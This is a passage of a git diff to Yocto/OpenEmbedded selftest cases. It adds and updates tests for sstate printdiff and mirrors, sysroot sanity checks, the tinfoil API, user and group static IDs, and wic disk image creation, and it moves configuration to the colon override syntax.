+TMPDIR = "${{TOPDIR}}/tmp-sstateprintdiff-sametmp-{}"
+""".format(time.time()))
+ bitbake("--runall build --runall deploy_source_date_epoch {}".format(target))
+ bitbake("-S none {}".format(target))
+ bitbake(" ".join(change_bbtasks))
+ self.append_config(change_content)
+ result_sametmp = bitbake("-S printdiff {}".format(target))
+
+ self.write_config("""
+TMPDIR = "${{TOPDIR}}/tmp-sstateprintdiff-difftmp-{}"
+""".format(time.time()))
+ self.append_config(change_content)
+ result_difftmp = bitbake("-S printdiff {}".format(target))
+
+ for item in expected_sametmp_output:
+ self.assertIn(item, result_sametmp.output, msg = "Item {} not found in output:\n{}".format(item, result_sametmp.output))
+ for item in expected_difftmp_output:
+ self.assertIn(item, result_difftmp.output, msg = "Item {} not found in output:\n{}".format(item, result_difftmp.output))
+
+
+ # Check if printdiff walks the full dependency chain from the image target to where the change is in a specific recipe
+ def test_image_minimal_vs_perlcross(self):
+ expected_output = ("Task perlcross-native:do_install couldn't be used from the cache because:",
+"We need hash",
+"most recent matching task was")
+ expected_sametmp_output = expected_output + (
+"Variable do_install value changed",
+'+ echo "this changes the task signature"')
+ expected_difftmp_output = expected_output
+
+ self.run_test_printdiff_changerecipe("core-image-minimal", "perlcross", "-c do_install perlcross-native",
+"""
+do_install:append() {
+ echo "this changes the task signature"
+}
+""",
+expected_sametmp_output, expected_difftmp_output)
+
+ # Check if changes to gcc-source (which uses tmp/work-shared) are correctly discovered
+ def test_gcc_runtime_vs_gcc_source(self):
+ gcc_source_pn = 'gcc-source-%s' % get_bb_vars(['PV'], 'gcc')['PV']
+
+ expected_output = ("Task {}:do_preconfigure couldn't be used from the cache because:".format(gcc_source_pn),
+"We need hash",
+"most recent matching task was")
+ expected_sametmp_output = expected_output + (
+"Variable do_preconfigure value changed",
+'+ print("this changes the task signature")')
+ expected_difftmp_output = expected_output
+
+ self.run_test_printdiff_changerecipe("gcc-runtime", "gcc-source", "-c do_preconfigure {}".format(gcc_source_pn),
+"""
+python do_preconfigure:append() {
+ print("this changes the task signature")
+}
+""",
+expected_sametmp_output, expected_difftmp_output)
+
+ # Check if changing a really base task definiton is reported against multiple core recipes using it
+ def test_image_minimal_vs_base_do_configure(self):
+ change_bbtasks = ('zstd-native:do_configure',
+'texinfo-dummy-native:do_configure',
+'ldconfig-native:do_configure',
+'gettext-minimal-native:do_configure',
+'tzcode-native:do_configure',
+'makedevs-native:do_configure',
+'pigz-native:do_configure',
+'update-rc.d-native:do_configure',
+'unzip-native:do_configure',
+'gnu-config-native:do_configure')
+
+ expected_output = ["Task {} couldn't be used from the cache because:".format(t) for t in change_bbtasks] + [
+"We need hash",
+"most recent matching task was"]
+
+ expected_sametmp_output = expected_output + [
+"Variable base_do_configure value changed",
+'+ echo "this changes base_do_configure() definiton "']
+ expected_difftmp_output = expected_output
+
+ self.run_test_printdiff_changeconfig("core-image-minimal",change_bbtasks,
+"""
+INHERIT += "base-do-configure-modified"
+""",
+expected_sametmp_output, expected_difftmp_output)
+
+@OETestTag("yocto-mirrors")
+class SStateMirrors(SStateBase):
+ def check_bb_output(self, output, exceptions, check_cdn):
+ def is_exception(object, exceptions):
+ for e in exceptions:
+ if re.search(e, object):
+ return True
+ return False
+
+ output_l = output.splitlines()
+ for l in output_l:
+ if l.startswith("Sstate summary"):
+ for idx, item in enumerate(l.split()):
+ if item == 'Missed':
+ missing_objects = int(l.split()[idx+1])
+ break
+ else:
+ self.fail("Did not find missing objects amount in sstate summary: {}".format(l))
+ break
+ else:
+ self.fail("Did not find 'Sstate summary' line in bitbake output")
+
+ failed_urls = []
+ failed_urls_extrainfo = []
+ for l in output_l:
+ if "SState: Unsuccessful fetch test for" in l and check_cdn:
+ missing_object = l.split()[6]
+ elif "SState: Looked for but didn't find file" in l and not check_cdn:
+ missing_object = l.split()[8]
+ else:
+ missing_object = None
+ if missing_object:
+ if not is_exception(missing_object, exceptions):
+ failed_urls.append(missing_object)
+ else:
+ missing_objects -= 1
+
+ if "urlopen failed for" in l and not is_exception(l, exceptions):
+ failed_urls_extrainfo.append(l)
+
+ self.assertEqual(len(failed_urls), missing_objects, "Amount of reported missing objects does not match failed URLs: {}\nFailed URLs:\n{}\nFetcher diagnostics:\n{}".format(missing_objects, "\n".join(failed_urls), "\n".join(failed_urls_extrainfo)))
+ self.assertEqual(len(failed_urls), 0, "Missing objects in the cache:\n{}\nFetcher diagnostics:\n{}".format("\n".join(failed_urls), "\n".join(failed_urls_extrainfo)))
+
+ def run_test(self, machine, targets, exceptions, check_cdn = True, ignore_errors = False):
+ # sstate is checked for existence of these, but they never get written out to begin with
+ exceptions += ["{}.*image_qa".format(t) for t in targets.split()]
+ exceptions += ["{}.*deploy_source_date_epoch".format(t) for t in targets.split()]
+ exceptions += ["{}.*image_complete".format(t) for t in targets.split()]
+ exceptions += ["linux-yocto.*shared_workdir"]
+ # these get influnced by IMAGE_FSTYPES tweaks in yocto-autobuilder-helper's config.json (on x86-64)
+ # additionally, they depend on noexec (thus, absent stamps) package, install, etc. image tasks,
+ # which makes tracing other changes difficult
+ exceptions += ["{}.*create_spdx".format(t) for t in targets.split()]
+ exceptions += ["{}.*create_runtime_spdx".format(t) for t in targets.split()]
+
+ if check_cdn:
+ self.config_sstate(True)
+ self.append_config("""
+MACHINE = "{}"
+BB_HASHSERVE_UPSTREAM = "hashserv.yocto.io:8687"
+SSTATE_MIRRORS ?= "file://.* http://cdn.jsdelivr.net/yocto/sstate/all/PATH;downloadfilename=PATH"
+""".format(machine))
+ else:
+ self.append_config("""
+MACHINE = "{}"
+""".format(machine))
+ result = bitbake("-DD -n {}".format(targets))
+ bitbake("-S none {}".format(targets))
+ if ignore_errors:
+ return
+ self.check_bb_output(result.output, exceptions, check_cdn)
+
+ def test_cdn_mirror_qemux86_64(self):
+ exceptions = []
+ self.run_test("qemux86-64", "core-image-minimal core-image-full-cmdline core-image-sato-sdk", exceptions, ignore_errors = True)
+ self.run_test("qemux86-64", "core-image-minimal core-image-full-cmdline core-image-sato-sdk", exceptions)
+
+ def test_cdn_mirror_qemuarm64(self):
+ exceptions = []
+ self.run_test("qemuarm64", "core-image-minimal core-image-full-cmdline core-image-sato-sdk", exceptions, ignore_errors = True)
+ self.run_test("qemuarm64", "core-image-minimal core-image-full-cmdline core-image-sato-sdk", exceptions)
+
+ def test_local_cache_qemux86_64(self):
+ exceptions = []
+ self.run_test("qemux86-64", "core-image-minimal core-image-full-cmdline core-image-sato-sdk", exceptions, check_cdn = False)
+
+ def test_local_cache_qemuarm64(self):
+ exceptions = []
+ self.run_test("qemuarm64", "core-image-minimal core-image-full-cmdline core-image-sato-sdk", exceptions, check_cdn = False)
diff --git a/meta/lib/oeqa/selftest/cases/sysroot.py b/meta/lib/oeqa/selftest/cases/sysroot.py
index 6e34927c90..ef854f6fee 100644
--- a/meta/lib/oeqa/selftest/cases/sysroot.py
+++ b/meta/lib/oeqa/selftest/cases/sysroot.py
@@ -1,11 +1,13 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
import uuid
from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import bitbake
+from oeqa.utils.commands import bitbake
class SysrootTests(OESelftestTestCase):
def test_sysroot_cleanup(self):
@@ -24,14 +26,61 @@ class SysrootTests(OESelftestTestCase):
self.write_config("""
PREFERRED_PROVIDER_virtual/sysroot-test = "sysroot-test-arch1"
MACHINE = "qemux86"
-TESTSTRING_pn-sysroot-test-arch1 = "%s"
-TESTSTRING_pn-sysroot-test-arch2 = "%s"
+TESTSTRING:pn-sysroot-test-arch1 = "%s"
+TESTSTRING:pn-sysroot-test-arch2 = "%s"
""" % (uuid1, uuid2))
bitbake("sysroot-test")
self.write_config("""
PREFERRED_PROVIDER_virtual/sysroot-test = "sysroot-test-arch2"
MACHINE = "qemux86copy"
-TESTSTRING_pn-sysroot-test-arch1 = "%s"
-TESTSTRING_pn-sysroot-test-arch2 = "%s"
+TESTSTRING:pn-sysroot-test-arch1 = "%s"
+TESTSTRING:pn-sysroot-test-arch2 = "%s"
""" % (uuid1, uuid2))
bitbake("sysroot-test")
+
+ def test_sysroot_max_shebang(self):
+ """
+ Summary: Check max shebang triggers. To confirm [YOCTO #11053] is closed.
+ Expected: Fail when a shebang bigger than the max shebang-size is reached.
+ Author: Paulo Neves <ptsneves@gmail.com>
+ """
+ expected = "maximum shebang size exceeded, the maximum size is 128. [shebang-size]"
+ res = bitbake("sysroot-shebang-test-native -c populate_sysroot", ignore_status=True)
+ self.assertTrue(expected in res.output, msg=res.output)
+ self.assertTrue(res.status != 0)
+
+ def test_sysroot_la(self):
+ """
+ Summary: Check that workdir paths are not contained in .la files.
+ Expected: Fail when a workdir path is found in the file content.
+ Author: Paulo Neves <ptsneves@gmail.com>
+ """
+ expected = "la-test.la failed sanity test (workdir) in path"
+
+ res = bitbake("sysroot-la-test -c populate_sysroot", ignore_status=True)
+ self.assertTrue(expected in res.output, msg=res.output)
+ self.assertTrue('[la]' in res.output, msg=res.output)
+ self.assertTrue(res.status != 0)
+
+ res = bitbake("sysroot-la-test-native -c populate_sysroot", ignore_status=True)
+ self.assertTrue(expected in res.output, msg=res.output)
+ self.assertTrue('[la]' in res.output, msg=res.output)
+ self.assertTrue(res.status != 0)
+
+ def test_sysroot_pkgconfig(self):
+ """
+ Summary: Check that tmpdir paths are not contained in .pc files.
+ Expected: Fail when a tmpdir path is found in the file content.
+ Author: Paulo Neves <ptsneves@gmail.com>
+ """
+ expected = "test.pc failed sanity test (tmpdir) in path"
+
+ res = bitbake("sysroot-pc-test -c populate_sysroot", ignore_status=True)
+ self.assertTrue('[pkgconfig]' in res.output, msg=res.output)
+ self.assertTrue(expected in res.output, msg=res.output)
+ self.assertTrue(res.status != 0)
+
+ res = bitbake("sysroot-pc-test-native -c populate_sysroot", ignore_status=True)
+ self.assertTrue(expected in res.output, msg=res.output)
+ self.assertTrue('[pkgconfig]' in res.output, msg=res.output)
+ self.assertTrue(res.status != 0)
diff --git a/meta/lib/oeqa/selftest/cases/tinfoil.py b/meta/lib/oeqa/selftest/cases/tinfoil.py
index d1aa7b9afd..21c8686b2a 100644
--- a/meta/lib/oeqa/selftest/cases/tinfoil.py
+++ b/meta/lib/oeqa/selftest/cases/tinfoil.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -9,7 +11,6 @@ import logging
import bb.tinfoil
from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import runCmd
class TinfoilTests(OESelftestTestCase):
""" Basic tests for the tinfoil API """
@@ -47,6 +48,17 @@ class TinfoilTests(OESelftestTestCase):
rd = tinfoil.parse_recipe_file(best[3])
self.assertEqual(testrecipe, rd.getVar('PN'))
+ def test_parse_virtual_recipe(self):
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.prepare(config_only=False, quiet=2)
+ testrecipe = 'nativesdk-gcc'
+ best = tinfoil.find_best_provider(testrecipe)
+ if not best:
+ self.fail('Unable to find recipe providing %s' % testrecipe)
+ rd = tinfoil.parse_recipe_file(best[3])
+ self.assertEqual(testrecipe, rd.getVar('PN'))
+ self.assertIsNotNone(rd.getVar('FILE_LAYERNAME'))
+
def test_parse_recipe_copy_expand(self):
with bb.tinfoil.Tinfoil() as tinfoil:
tinfoil.prepare(config_only=False, quiet=2)
@@ -65,6 +77,32 @@ class TinfoilTests(OESelftestTestCase):
localdata.setVar('PN', 'hello')
self.assertEqual('hello', localdata.getVar('BPN'))
+ # The config_data API to parse_recipe_file is used by:
+ # layerindex-web layerindex/update_layer.py
+ def test_parse_recipe_custom_data(self):
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.prepare(config_only=False, quiet=2)
+ localdata = bb.data.createCopy(tinfoil.config_data)
+ localdata.setVar("TESTVAR", "testval")
+ testrecipe = 'mdadm'
+ best = tinfoil.find_best_provider(testrecipe)
+ if not best:
+ self.fail('Unable to find recipe providing %s' % testrecipe)
+ rd = tinfoil.parse_recipe_file(best[3], config_data=localdata)
+ self.assertEqual("testval", rd.getVar('TESTVAR'))
+
+ def test_parse_virtual_recipe_custom_data(self):
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.prepare(config_only=False, quiet=2)
+ localdata = bb.data.createCopy(tinfoil.config_data)
+ localdata.setVar("TESTVAR", "testval")
+ testrecipe = 'nativesdk-gcc'
+ best = tinfoil.find_best_provider(testrecipe)
+ if not best:
+ self.fail('Unable to find recipe providing %s' % testrecipe)
+ rd = tinfoil.parse_recipe_file(best[3], config_data=localdata)
+ self.assertEqual("testval", rd.getVar('TESTVAR'))
+
def test_list_recipes(self):
with bb.tinfoil.Tinfoil() as tinfoil:
tinfoil.prepare(config_only=False, quiet=2)
@@ -87,35 +125,38 @@ class TinfoilTests(OESelftestTestCase):
with bb.tinfoil.Tinfoil() as tinfoil:
tinfoil.prepare(config_only=True)
- tinfoil.set_event_mask(['bb.event.FilesMatchingFound', 'bb.command.CommandCompleted'])
+ tinfoil.set_event_mask(['bb.event.FilesMatchingFound', 'bb.command.CommandCompleted', 'bb.command.CommandFailed', 'bb.command.CommandExit'])
# Need to drain events otherwise events that were masked may still be in the queue
while tinfoil.wait_event():
pass
pattern = 'conf'
- res = tinfoil.run_command('findFilesMatchingInDir', pattern, 'conf/machine')
+ res = tinfoil.run_command('testCookerCommandEvent', pattern, handle_events=False)
self.assertTrue(res)
eventreceived = False
commandcomplete = False
start = time.time()
- # Wait for 5s in total so we'd detect spurious heartbeat events for example
- while time.time() - start < 5:
+ # Wait for maximum 60s in total so we'd detect spurious heartbeat events for example
+ while (not (eventreceived == True and commandcomplete == True)
+ and (time.time() - start < 60)):
+ # if we received both events (on let's say a good day), we are done
event = tinfoil.wait_event(1)
if event:
if isinstance(event, bb.command.CommandCompleted):
commandcomplete = True
elif isinstance(event, bb.event.FilesMatchingFound):
self.assertEqual(pattern, event._pattern)
- self.assertIn('qemuarm.conf', event._matches)
+ self.assertIn('A', event._matches)
+ self.assertIn('B', event._matches)
eventreceived = True
elif isinstance(event, logging.LogRecord):
continue
else:
self.fail('Unexpected event: %s' % event)
- self.assertTrue(commandcomplete, 'Timed out waiting for CommandCompleted event from bitbake server')
+ self.assertTrue(commandcomplete, 'Timed out waiting for CommandCompleted event from bitbake server (Matching event received: %s)' % str(eventreceived))
self.assertTrue(eventreceived, 'Did not receive FilesMatchingFound event from bitbake server')
def test_setvariable_clean(self):
@@ -170,8 +211,8 @@ class TinfoilTests(OESelftestTestCase):
self.assertEqual(value, 'origvalue', 'Variable renamed using config_data.renameVar() does not appear with new name')
# Test overrides
tinfoil.config_data.setVar('TESTVAR', 'original')
- tinfoil.config_data.setVar('TESTVAR_overrideone', 'one')
- tinfoil.config_data.setVar('TESTVAR_overridetwo', 'two')
+ tinfoil.config_data.setVar('TESTVAR:overrideone', 'one')
+ tinfoil.config_data.setVar('TESTVAR:overridetwo', 'two')
tinfoil.config_data.appendVar('OVERRIDES', ':overrideone')
value = tinfoil.config_data.getVar('TESTVAR')
self.assertEqual(value, 'one', 'Variable overrides not functioning correctly')
diff --git a/meta/lib/oeqa/selftest/cases/usergrouptests.py b/meta/lib/oeqa/selftest/cases/usergrouptests.py
new file mode 100644
index 0000000000..3c59b0f290
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/usergrouptests.py
@@ -0,0 +1,57 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os
+import shutil
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake
+from oeqa.utils.commands import bitbake, get_bb_var, get_test_layer
+
+class UserGroupTests(OESelftestTestCase):
+ def test_group_from_dep_package(self):
+ self.logger.info("Building creategroup2")
+ bitbake(' creategroup2 creategroup1')
+ bitbake(' creategroup2 creategroup1 -c clean')
+ self.logger.info("Packaging creategroup2")
+ self.assertTrue(bitbake(' creategroup2 -c package'))
+
+ def test_add_task_between_p_sysroot_and_package(self):
+ # Test for YOCTO #14961
+ self.assertTrue(bitbake('useraddbadtask -C fetch'))
+
+ def test_postinst_order(self):
+ self.logger.info("Building dcreategroup")
+ self.assertTrue(bitbake(' dcreategroup'))
+
+ def test_static_useradd_from_dynamic(self):
+ metaselftestpath = get_test_layer()
+ self.logger.info("Building core-image-minimal to generate passwd/group file")
+ bitbake(' core-image-minimal')
+ self.logger.info("Setting up useradd-staticids")
+ repropassdir = os.path.join(metaselftestpath, "conf/include")
+ os.makedirs(repropassdir)
+ etcdir=os.path.join(os.path.join(os.path.join(get_bb_var("TMPDIR"), "work"), \
+ os.path.join(get_bb_var("MACHINE").replace("-","_")+"-poky-linux", "core-image-minimal/1.0/rootfs/etc")))
+ shutil.copy(os.path.join(etcdir, "passwd"), os.path.join(repropassdir, "reproducable-passwd"))
+ shutil.copy(os.path.join(etcdir, "group"), os.path.join(repropassdir, "reproducable-group"))
+ # Copy the original local.conf
+ shutil.copyfile(os.path.join(os.environ.get('BUILDDIR'), 'conf/local.conf'), os.path.join(os.environ.get('BUILDDIR'), 'conf/local.conf.orig'))
+
+ self.write_config("USERADDEXTENSION = \"useradd-staticids\"")
+ self.write_config("USERADD_ERROR_DYNAMIC ??= \"error\"")
+ self.write_config("USERADD_UID_TABLES += \"conf/include/reproducible-passwd\"")
+ self.write_config("USERADD_GID_TABLES += \"conf/include/reproducible-group\"")
+ self.logger.info("Rebuild with staticids")
+ bitbake(' core-image-minimal')
+ shutil.copyfile(os.path.join(os.environ.get('BUILDDIR'), 'conf/local.conf.orig'), os.path.join(os.environ.get('BUILDDIR'), 'conf/local.conf'))
+ self.logger.info("Rebuild without staticids")
+ bitbake(' core-image-minimal')
+ self.write_config("USERADDEXTENSION = \"useradd-staticids\"")
+ self.write_config("USERADD_ERROR_DYNAMIC ??= \"error\"")
+ self.write_config("USERADD_UID_TABLES += \"files/static-passwd\"")
+ self.write_config("USERADD_GID_TABLES += \"files/static-group\"")
+ self.logger.info("Rebuild with other staticids")
+ self.assertTrue(bitbake(' core-image-minimal'))
diff --git a/meta/lib/oeqa/selftest/cases/wic.py b/meta/lib/oeqa/selftest/cases/wic.py
index 8b58285c32..b616759209 100644
--- a/meta/lib/oeqa/selftest/cases/wic.py
+++ b/meta/lib/oeqa/selftest/cases/wic.py
@@ -11,39 +11,19 @@
import os
import sys
import unittest
+import hashlib
from glob import glob
from shutil import rmtree, copy
-from functools import wraps, lru_cache
from tempfile import NamedTemporaryFile
+from tempfile import TemporaryDirectory
from oeqa.selftest.case import OESelftestTestCase
+from oeqa.core.decorator import OETestTag
+from oeqa.core.decorator.data import skipIfNotArch
from oeqa.utils.commands import runCmd, bitbake, get_bb_var, get_bb_vars, runqemu
-@lru_cache(maxsize=32)
-def get_host_arch(recipe):
- """A cached call to get_bb_var('HOST_ARCH', <recipe>)"""
- return get_bb_var('HOST_ARCH', recipe)
-
-
-def only_for_arch(archs, image='core-image-minimal'):
- """Decorator for wrapping test cases that can be run only for specific target
- architectures. A list of compatible architectures is passed in `archs`.
- Current architecture will be determined by parsing bitbake output for
- `image` recipe.
- """
- def wrapper(func):
- @wraps(func)
- def wrapped_f(*args, **kwargs):
- arch = get_host_arch(image)
- if archs and arch not in archs:
- raise unittest.SkipTest("Testcase arch dependency not met: %s" % arch)
- return func(*args, **kwargs)
- wrapped_f.__name__ = func.__name__
- return wrapped_f
- return wrapper
-
def extract_files(debugfs_output):
"""
extract file names from the output of debugfs -R 'ls -p',
@@ -77,22 +57,18 @@ class WicTestCase(OESelftestTestCase):
def setUpLocal(self):
"""This code is executed before each test method."""
- self.resultdir = self.builddir + "/wic-tmp/"
+ self.resultdir = os.path.join(self.builddir, "wic-tmp")
super(WicTestCase, self).setUpLocal()
# Do this here instead of in setUpClass as the base setUp does some
# clean up which can result in the native tools built earlier in
# setUpClass being unavailable.
if not WicTestCase.image_is_ready:
- if get_bb_var('USE_NLS') == 'yes':
- bitbake('wic-tools')
- else:
- self.skipTest('wic-tools cannot be built due its (intltool|gettext)-native dependency and NLS disable')
+ if self.td['USE_NLS'] != 'yes':
+ self.skipTest('wic-tools needs USE_NLS=yes')
- bitbake('core-image-minimal')
- bitbake('core-image-minimal-mtdutils')
+ bitbake('wic-tools core-image-minimal core-image-minimal-mtdutils')
WicTestCase.image_is_ready = True
-
rmtree(self.resultdir, ignore_errors=True)
def tearDownLocal(self):
@@ -103,15 +79,13 @@ class WicTestCase(OESelftestTestCase):
def _get_image_env_path(self, image):
"""Generate and obtain the path to <image>.env"""
if image not in WicTestCase.wicenv_cache:
- self.assertEqual(0, bitbake('%s -c do_rootfs_wicenv' % image).status)
- bb_vars = get_bb_vars(['STAGING_DIR', 'MACHINE'], image)
- stdir = bb_vars['STAGING_DIR']
- machine = bb_vars['MACHINE']
+ bitbake('%s -c do_rootfs_wicenv' % image)
+ stdir = get_bb_var('STAGING_DIR', image)
+ machine = self.td["MACHINE"]
WicTestCase.wicenv_cache[image] = os.path.join(stdir, machine, 'imgdata')
return WicTestCase.wicenv_cache[image]
-class Wic(WicTestCase):
-
+class CLITests(OESelftestTestCase):
def test_version(self):
"""Test wic --version"""
runCmd('wic --version')
@@ -172,68 +146,147 @@ class Wic(WicTestCase):
"""Test wic without command"""
self.assertEqual(1, runCmd('wic', ignore_status=True).status)
+class Wic(WicTestCase):
+ def test_skip_kernel_install(self):
+ """Test the functionality of not installing the kernel in the boot directory using the wic plugin"""
+ # create a temporary file for the WKS content
+ with NamedTemporaryFile("w", suffix=".wks") as wks:
+ wks.write(
+ 'part --source bootimg-efi '
+ '--sourceparams="loader=grub-efi,install-kernel-into-boot-dir=false" '
+ '--label boot --active\n'
+ )
+ wks.flush()
+ # create a temporary directory to extract the disk image to
+ with TemporaryDirectory() as tmpdir:
+ img = 'core-image-minimal'
+ # build the image using the WKS file
+ cmd = "wic create %s -e %s -o %s" % (
+ wks.name, img, self.resultdir)
+ runCmd(cmd)
+ wksname = os.path.splitext(os.path.basename(wks.name))[0]
+ out = glob(os.path.join(
+ self.resultdir, "%s-*.direct" % wksname))
+ self.assertEqual(1, len(out))
+ sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
+ # extract the content of the disk image to the temporary directory
+ cmd = "wic cp %s:1 %s -n %s" % (out[0], tmpdir, sysroot)
+ runCmd(cmd)
+ # check if the kernel is installed or not
+ kimgtype = get_bb_var('KERNEL_IMAGETYPE', img)
+ for file in os.listdir(tmpdir):
+ if file == kimgtype:
+ raise AssertionError(
+ "The kernel image '{}' was found in the partition".format(kimgtype)
+ )
+
+ def test_kernel_install(self):
+ """Test the installation of the kernel to the boot directory in the wic plugin"""
+ # create a temporary file for the WKS content
+ with NamedTemporaryFile("w", suffix=".wks") as wks:
+ wks.write(
+ 'part --source bootimg-efi '
+ '--sourceparams="loader=grub-efi,install-kernel-into-boot-dir=true" '
+ '--label boot --active\n'
+ )
+ wks.flush()
+ # create a temporary directory to extract the disk image to
+ with TemporaryDirectory() as tmpdir:
+ img = 'core-image-minimal'
+ # build the image using the WKS file
+ cmd = "wic create %s -e %s -o %s" % (wks.name, img, self.resultdir)
+ runCmd(cmd)
+ wksname = os.path.splitext(os.path.basename(wks.name))[0]
+ out = glob(os.path.join(self.resultdir, "%s-*.direct" % wksname))
+ self.assertEqual(1, len(out))
+ sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
+ # extract the content of the disk image to the temporary directory
+ cmd = "wic cp %s:1 %s -n %s" % (out[0], tmpdir, sysroot)
+ runCmd(cmd)
+ # check if the kernel is installed or not
+ kimgtype = get_bb_var('KERNEL_IMAGETYPE', img)
+ found = False
+ for file in os.listdir(tmpdir):
+ if file == kimgtype:
+ found = True
+ break
+ self.assertTrue(
+ found, "The kernel image '{}' was not found in the boot partition".format(kimgtype)
+ )
+
def test_build_image_name(self):
"""Test wic create wictestdisk --image-name=core-image-minimal"""
cmd = "wic create wictestdisk --image-name=core-image-minimal -o %s" % self.resultdir
runCmd(cmd)
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*.direct")))
+ self.assertEqual(1, len(glob(os.path.join (self.resultdir, "wictestdisk-*.direct"))))
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
def test_gpt_image(self):
"""Test creation of core-image-minimal with gpt table and UUID boot"""
cmd = "wic create directdisk-gpt --image-name core-image-minimal -o %s" % self.resultdir
runCmd(cmd)
- self.assertEqual(1, len(glob(self.resultdir + "directdisk-*.direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "directdisk-*.direct"))))
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
def test_iso_image(self):
"""Test creation of hybrid iso image with legacy and EFI boot"""
config = 'INITRAMFS_IMAGE = "core-image-minimal-initramfs"\n'\
- 'MACHINE_FEATURES_append = " efi"\n'\
- 'DEPENDS_pn-core-image-minimal += "syslinux"\n'
+ 'MACHINE_FEATURES:append = " efi"\n'\
+ 'DEPENDS:pn-core-image-minimal += "syslinux"\n'
self.append_config(config)
bitbake('core-image-minimal core-image-minimal-initramfs')
self.remove_config(config)
cmd = "wic create mkhybridiso --image-name core-image-minimal -o %s" % self.resultdir
runCmd(cmd)
- self.assertEqual(1, len(glob(self.resultdir + "HYBRID_ISO_IMG-*.direct")))
- self.assertEqual(1, len(glob(self.resultdir + "HYBRID_ISO_IMG-*.iso")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "HYBRID_ISO_IMG-*.direct"))))
+ self.assertEqual(1, len(glob(os.path.join (self.resultdir, "HYBRID_ISO_IMG-*.iso"))))
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
def test_qemux86_directdisk(self):
"""Test creation of qemux-86-directdisk image"""
cmd = "wic create qemux86-directdisk -e core-image-minimal -o %s" % self.resultdir
runCmd(cmd)
- self.assertEqual(1, len(glob(self.resultdir + "qemux86-directdisk-*direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "qemux86-directdisk-*direct"))))
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ @skipIfNotArch(['i586', 'i686', 'x86_64', 'aarch64'])
def test_mkefidisk(self):
"""Test creation of mkefidisk image"""
cmd = "wic create mkefidisk -e core-image-minimal -o %s" % self.resultdir
runCmd(cmd)
- self.assertEqual(1, len(glob(self.resultdir + "mkefidisk-*direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "mkefidisk-*direct"))))
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
def test_bootloader_config(self):
"""Test creation of directdisk-bootloader-config image"""
- config = 'DEPENDS_pn-core-image-minimal += "syslinux"\n'
+ config = 'DEPENDS:pn-core-image-minimal += "syslinux"\n'
self.append_config(config)
bitbake('core-image-minimal')
self.remove_config(config)
cmd = "wic create directdisk-bootloader-config -e core-image-minimal -o %s" % self.resultdir
runCmd(cmd)
- self.assertEqual(1, len(glob(self.resultdir + "directdisk-bootloader-config-*direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "directdisk-bootloader-config-*direct"))))
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ @skipIfNotArch(['i586', 'i686', 'x86_64', 'aarch64'])
def test_systemd_bootdisk(self):
"""Test creation of systemd-bootdisk image"""
- config = 'MACHINE_FEATURES_append = " efi"\n'
+ config = 'MACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
bitbake('core-image-minimal')
self.remove_config(config)
cmd = "wic create systemd-bootdisk -e core-image-minimal -o %s" % self.resultdir
runCmd(cmd)
- self.assertEqual(1, len(glob(self.resultdir + "systemd-bootdisk-*direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "systemd-bootdisk-*direct"))))
+
+ def test_efi_bootpart(self):
+ """Test creation of efi-bootpart image"""
+ cmd = "wic create mkefidisk -e core-image-minimal -o %s" % self.resultdir
+ kimgtype = get_bb_var('KERNEL_IMAGETYPE', 'core-image-minimal')
+ self.append_config('IMAGE_EFI_BOOT_FILES = "%s;kernel"\n' % kimgtype)
+ runCmd(cmd)
+ sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
+ images = glob(os.path.join(self.resultdir, "mkefidisk-*.direct"))
+ result = runCmd("wic ls %s:1/ -n %s" % (images[0], sysroot))
+ self.assertIn("kernel",result.output)
def test_sdimage_bootpart(self):
"""Test creation of sdimage-bootpart image"""
@@ -241,14 +294,15 @@ class Wic(WicTestCase):
kimgtype = get_bb_var('KERNEL_IMAGETYPE', 'core-image-minimal')
self.write_config('IMAGE_BOOT_FILES = "%s"\n' % kimgtype)
runCmd(cmd)
- self.assertEqual(1, len(glob(self.resultdir + "sdimage-bootpart-*direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "sdimage-bootpart-*direct"))))
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ # TODO this doesn't have to be x86-specific
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
def test_default_output_dir(self):
"""Test default output location"""
for fname in glob("directdisk-*.direct"):
os.remove(fname)
- config = 'DEPENDS_pn-core-image-minimal += "syslinux"\n'
+ config = 'DEPENDS:pn-core-image-minimal += "syslinux"\n'
self.append_config(config)
bitbake('core-image-minimal')
self.remove_config(config)
@@ -256,7 +310,7 @@ class Wic(WicTestCase):
runCmd(cmd)
self.assertEqual(1, len(glob("directdisk-*.direct")))
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
